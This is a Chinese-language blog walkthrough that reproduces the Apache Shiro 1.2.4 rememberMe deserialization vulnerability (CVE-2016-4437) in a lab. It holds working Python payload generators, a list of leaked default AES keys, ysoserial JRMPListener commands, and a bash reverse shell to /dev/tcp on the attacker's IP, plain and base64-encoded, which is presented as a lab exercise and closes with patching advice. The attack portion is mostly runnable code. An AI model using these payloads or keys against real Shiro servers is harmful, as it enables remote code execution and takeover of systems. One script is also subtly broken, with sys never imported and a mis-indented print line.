CVE-2016-4437 Apache Shiro 1.2.4反序列化漏洞复现

Posted 2020-12-11 yoyodan

Apache Shiro 1.2.4反序列化漏洞检测及利用getshell

什么是Apache Shiro：

Apache Shiro是一个强大且易用的Java安全框架，执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API，您可以快速、轻松地获得任何应用程序，从最小的移动应用程序到最大的网络和企业应用程序。

shiro反序列化的特征：

在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

影响范围：

只要rememberMe的AES加密密钥泄露，Apache Shiro <= 1.2.4版本均存在威胁

漏洞成因：

大概意思是，shiro在登录处提供了Remember Me这个功能，来记录用户登录的凭证，然后shiro使用了CookieRememberMeManager类对用户的登陆凭证，也就是Remember Me的内容进行一系列处理：

使用Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的Remember Me内容

同时在识别用户身份的时候，需要对Remember Me的字段进行解密，解密的顺序为：

Remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化

问题出在AES加密的密钥Key被硬编码在代码里，这意味着攻击者只要通过源代码找到AES加密的密钥，就可以构造一个恶意对象，对其进行序列化，AES加密，Base64编码，然后将其作为cookie的Remember Me字段发送，Shiro将RememberMe进行解密并且反序列化，最终造成反序列化漏洞。

参考文章：

https://www.cnblogs.com/bmjoker/articles/11650295.html

https://cloud.tencent.com/developer/article/1540882

https://www.pythonheidong.com/blog/article/337436/

环境搭建

靶机：kali2019　ip：192.168.245.129

攻击机：win10　ip：192.168.43.248

1. 启动靶机环境

   打开kali，找到vulhub环境下的CVE-2016-4437漏洞目录，vulhub安装教程：https://www.cnblogs.com/Iamyoyodan/p/13323445.html ，打开靶场环境

   

   浏览器访问服务默认端口8080，环境搭建成功

   

2. 编译生成ysoserial反序列化利用工具

   ysoserial是一款目前最流行的Java反序列化Payload生成工具，目前支持29种的Payload生成。

   执行以下操作：

   $git clone https://github.com/frohoff/ysoserial.git
   $cd ysoserial
   $mvn package -D skipTests
   

   即可生成ysoserial-0.0.6-SNAPSHOT-all.jar文件，如果出现bash: mvn: command not found的问题，是kali未安装maven，参考文章：https://www.cnblogs.com/yuexiaoyun/articles/13033946.html

3. 编写检测漏洞的脚本，这里借用大佬的文件

   shiro.py

   # -*- coding: utf-8 -*-
   import sys
   import base64
   import uuid
   from random import Random
   import subprocess
   from Crypto.Cipher import AES
   
   def encode_rememberme(command):
       popen = subprocess.Popen([\'java\', \'-jar\', \'ysoserial-master-SNAPSHOT.jar\', \'URLDNS\', command], stdout=subprocess.PIPE)
       BS   = AES.block_size
       pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
       key  =  "kPH+bIxk5D2deZiIxcaaaA=="   
       # 如果不成功，可能是密钥不匹配，更换密钥重试
       #key = "Z3VucwAAAAAAAAAAAAAAAA=="
       #key = "wGiHplamyXlVB11UXWol8g=="
       #key = "2AvVhdsgUs0FSA3SDFAdag=="
       #key = "4AvVhmFLUs0KTA3Kprsdag=="
       #key = "3AvVhmFLUs0KTA3Kprsdag=="
       #key = "U3ByaW5nQmxhZGUAAAAAAA=="
       #key = "wGiHplamyXlVB11UXWol8g=="
       #key = "6ZmI6I2j5Y+R5aSn5ZOlAA=="
       #key = "fCq+/xW488hMTCD+cmJ3aQ=="
       #key = "1QWLxg+NYmxraMoxAXu/Iw=="
       #key = "ZUdsaGJuSmxibVI2ZHc9PQ=="
       #key = "r0e3c16IdVkouZgk1TKVMg=="
       #key = "5aaC5qKm5oqA5pyvAAAAAA=="
       #key = "bWluZS1hc3NldC1rZXk6QQ=="
       #key = "a2VlcE9uR29pbmdBbmRGaQ=="
       #key = "WcfHGU25gNnTxTlmJMeSpw=="
   	
       mode =  AES.MODE_CBC
       iv   =  uuid.uuid4().bytes
       encryptor = AES.new(base64.b64decode(key), mode, iv)
       file_body = pad(popen.stdout.read())
       base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
       return base64_ciphertext
   
   if __name__ == \'__main__\':
       payload = encode_rememberme(sys.argv[1])    
       print "rememberMe={}".format(payload.decode())	
   

4. 编写生成反弹shell payload的脚本，这里我用强哥给的文件

   shiro_exp_payload.py

   # -*- coding: utf-8 -*-
   import uuid
   import base64
   import subprocess
   from Crypto.Cipher import AES
   
   
   def encode_rememberme(command):
       popen = subprocess.Popen([\'java\', \'-jar\', \'ysoserial-master-SNAPSHOT.jar\', \'JRMPClient\', command], stdout=subprocess.PIPE)
       BS = AES.block_size
       pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
       # 密钥使用检测成功的密钥
       key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
       iv = uuid.uuid4().bytes
       encryptor = AES.new(key, AES.MODE_CBC, iv)
       file_body = pad(popen.stdout.read())
       base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
       return base64_ciphertext
   
   if __name__ == \'__main__\':
       payload = encode_rememberme(sys.argv[1])    
   print "rememberMe={0}".format(payload.decode())
   

   这里介绍一下脚本里面的JRMPClient与之后会使用到的监听命令的JRMPListenter

   • payloads/JRMPClient 是结合 exploit/JRMPListener 使用的

   • JRMPListener是ysoserial 工具里的其中一个利用模块，作用是通过反序列化，开启当前主机的一个 JRMP Server ，具体的利用过程是，将反序列化数据发送到 Server 中，然后Server中进行反序列化操作，并开启指定端口， 然后在通过JRMPClient去发送攻击 payload

   • payloads/JRMPClient 生成的 payload 是发送给目标机器的，exploit/JRMPListener 是在自己服务器上使用的

   • 超详细分析：https://xz.aliyun.com/t/2650

漏洞检测

1. 攻击机访问靶机shiro页面，输入用户名密码点击登录

   bp抓包，可以看到在Set-Cookie中含有记录用户登录凭证的rememberMe字段

   

2. 打开Burp中的Burp Collaborator client插件，插件详解：https://blog.csdn.net/fageweiketang/article/details/89073662

   

   点击Copy to clipboard，复制其提供的 payload url

   

3. 运行shiro.py脚本生成检测payload，此处构建地址http://+复制的url

   python2 shiro.py "http://hg1i30khmmzi86ngjhytn7jfv61wpl.burpcollaborator.net"
   

   

4. 复制payload到请求包中，注意以分号隔开，GO一下可以看到这里多了一个RememberMe，表示payload已加载

   

   

5. 返回插件查看，将seconds值设小一点，点击Poll now即可看到回显，证明漏洞存在，密钥为kPH+bIxk5D2deZiIxcaaaA==

   

漏洞利用getshell

1. 编辑命令，意为bash反弹shell到192.168.43.248:8888

   $bash -i >& /dev/tcp/192.168.43.248/8888 0>&1
   

   打开http://www.jackson-t.ca/runtime-exec-payloads.html将命令进行编码，复制编码内容

   

2. nc监听反弹shell的端口

   $nc -lvp 8888
   

   

3. 同时使用ysoserial-master-SNAPSHOT.jar中的JRMP监听模块监听7777端口（注意这里是另开了一个攻击端口，和之前反弹shell的端口不一样）

   $java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,JGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC40My4xMTcvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"
   

   

4. 执行脚本，生成payload

   shiro_exp_payload.py

   $python2 shiro_exp_payload.py 192.168.43.248:7777
   

   

5. 同样将payload放入请求包中，看到靶机已执行

   

6. 查看8888端口可以看到反弹成功，成功获取shell

   

漏洞修复

• 升级shiro到1.2.5及以上.

• 如果在配置里配置了密钥, 那么请一定不要使用网上的密钥, 一定不要! ! 请自己base64一个AES的密钥, 或者利用官方提供的方法生成密钥: org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey().

  public class GenerateCipherKey {
  
   /**
    * 随机生成秘钥，参考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int)
    * @return
    */
   public static byte[] generateNewKey() {
       KeyGenerator kg;
       try {
           kg = KeyGenerator.getInstance("AES");
       } catch (NoSuchAlgorithmException var5) {
           String msg = "Unable to acquire AES algorithm.  This is required to function.";
           throw new IllegalStateException(msg, var5);
       }
  
       kg.init(128);
       SecretKey key = kg.generateKey();
       byte[] encoded = key.getEncoded();
       return encoded;
   }
  }